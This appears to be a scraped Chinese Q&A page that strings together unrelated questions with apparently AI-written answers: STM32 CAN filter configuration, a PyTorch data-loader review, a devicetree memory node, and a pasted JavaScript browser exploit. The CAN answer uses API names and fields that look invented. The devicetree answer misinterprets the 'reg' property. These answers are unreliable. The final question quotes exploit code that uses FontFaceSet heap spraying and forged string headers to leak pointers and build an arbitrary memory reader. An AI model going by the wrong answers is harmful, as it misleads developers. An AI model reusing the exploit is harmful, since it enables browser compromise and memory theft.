CAN的# 过滤验收码 ACC_CODE = 0x80000000 # 过滤屏蔽码 ACC_MASK = 0xFFFFFFFF,用C语言咋配置CAN滤波器,STM32CUBE

时间: 2024-10-17 18:08:47 浏览: 72
在STM32Cube库中配置CAN滤波器通常涉及到CAN控制器的相关寄存器操作。CAN的滤波器配置涉及到以下几个步骤: 1. 初始化CAN控制器:首先,你需要初始化CAN控制器,比如通过`HAL_CAN_Init()`函数设置基本的通信参数。 2. 设置滤波器ID寄存器:`CAN_FilterInitTypeDef`结构体用于存储滤波器配置,包括ID、标识符、接受模式(是否接收ID或mask)、优先级等。例如: ```c CAN_FilterInitTypeDef canFilter; canFilter.IDFilter.FltIdLow = (uint32_t)0x1234; // 设定低32位ID canFilter.IDFilter.FltIdHigh = (uint32_t)(ACC_CODE | (your_id >> 16)); // 高32位ID,使用ACC_CODE作为接收控制,your_id为实际要匹配的ID canFilter.FilterActivation = ENABLE; // 启用滤波器 HAL_CAN_ConfigFilter(hCan, &canFilter); // hCan是你CAN控制器的句柄 ``` 这里的`ACC_CODE`是一个标志位,`ACC_MASK`是过滤屏蔽位,它们一起控制了哪些帧会被接收。 3. 激活滤波器:使用`HAL_CAN_EnableFilter(hCan)`来启用选定的滤波器。
相关问题

def get_data_loader(): # 训练配置参数 batch_size = CONFIG['batch_size'] thread_num = CONFIG['thread_num'] # Dataset 参数 train_csv = CONFIG['train_csv'] val_csv = CONFIG['val_csv'] audio_root = CONFIG['audio_root'] cache_root = CONFIG['cache_root'] # Dataset 基础参数 mix_name = CONFIG['mix_name'] instrument_list = CONFIG['instrument_list'] sample_rate = CONFIG['sample_rate'] channels = CONFIG['channels'] frame_length = CONFIG['frame_length'] frame_step = CONFIG['frame_step'] segment_length = CONFIG['segment_length'] frequency_bins = CONFIG['frequency_bins'] train_dataset = MusicDataset(mix_name, instrument_list, train_csv, audio_root, cache_root, sample_rate, channels, frame_length, frame_step, segment_length, frequency_bins) train_dataloader = data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True, num_workers=thread_num, drop_last=True, collate_fn=collate_fn, worker_init_fn=lambda work_id: random.seed(torch.initial_seed() & 0xffffffff))#worker_init_fn=lambda work_id: random.seed(torch.initial_seed() & 0xffffffff)) val_dataset = MusicDataset(mix_name, instrument_list, val_csv, audio_root, cache_root, sample_rate, channels, frame_length, frame_step, segment_length, frequency_bins) val_dataloader = data.DataLoader(val_dataset, batch_size=batch_size, shuffle=False, num_workers=thread_num, drop_last=False, collate_fn=collate_fn, worker_init_fn=lambda work_id: random.seed(torch.initial_seed() & 0xffffffff))#worker_init_fn=lambda work_id: random.seed(torch.initial_seed() & 0xffffffff)) return train_dataloader, val_dataloader 这段代码有问题吗

这段代码看起来是一个获取数据加载器的函数 `get_data_loader()`。根据代码,它接受一些配置参数,并返回训练集和验证集的数据加载器。 在函数中,首先根据配置参数获取训练和验证集的 CSV 文件路径、音频文件根目录、缓存根目录等。然后,根据这些参数创建了两个 `MusicDataset` 对象,分别用于训练集和验证集。 接下来,使用 `torch.utils.data.DataLoader` 创建了训练集和验证集的数据加载器。在创建加载器时,指定了批量大小 `batch_size`、线程数量 `num_workers`、是否打乱数据 `shuffle`、是否丢弃最后一个不完整的批次 `drop_last`、以及一个自定义的数据处理函数 `collate_fn`。此外,还设置了 `worker_init_fn` 参数,用于初始化每个工作线程的随机种子。 最后,将训练集和验证集的数据加载器作为结果返回。 从代码上看,并没有明显的问题。但是,你需要确保你的 `MusicDataset` 类和 `collate_fn` 函数已经正确实现,并且根据你的数据集格式和需求进行适当的调整。 如果你遇到了报错,请提供报错信息以便我可以更好地帮助你解决问题。

device_type = "memory"; reg = <0x00000000 0x80000000 0x00000000 0x7b000000>;

这个设备节点的 "device_type" 属性是 "memory",表示这是一个内存设备。它的 "reg" 属性是一个整数数组,其中第一个元素是 0x00000000,表示内存设备的起始地址在物理地址 0 处。第二个元素是 0x80000000,表示这是一个 2 GB 的地址空间。第三个元素是 0x00000000,表示这个内存设备的大小为 0。第四个元素是 0x7b000000,表示内存设备的起始地址在虚拟地址 0x7b000000 处。由于内存设备的大小为 0,这个设备节点描述的实际上是一个地址转换器,用于将物理地址转换为虚拟地址。它将物理地址 0x80000000 到 0xffffffff 映射到虚拟地址 0x7b000000 到 0xfbffffff,可以被操作系统用作内核空间。
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var needfix = []; for (var i = 0;; i++) { ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); var badstr2 = mkString(HASHMAP_BUCKET, p_s); needfix.push(mkString(HASHMAP_BUCKET, p_s)); bad_fonts[guessed_font].family = "evil2"; bad_fonts[guessed_font + 1].family = "evil3"; var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); if (leak < 0x1000000000000) break; } function makeReader(read_addr, ffs_name) { var fake_s = ''; fake_s += '0000'; //padding for 8-byte alignment fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff fake_s += ptrToString(read_addr); //where to read from fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit p_s = ''; p_s += ptrToString(29); p_s += ptrToString(guessed_addr); p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); for (var i = 0; i < 18; i++) p_s += ptrToString(INVALID_POINTER); for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]); mkString(HASHMAP_BUCKET, p_s); var relative_read = mkString(HASHMAP_BUCKET, fake_s); bad_fonts[guessed_font].family = ffs_name + "_evil1"; bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; needfix.push(relative_read); if (relative_read.length < 1000) //failed return makeReader(read_addr, ffs_name + '_'); return relative_read; }继续解释以上代码?

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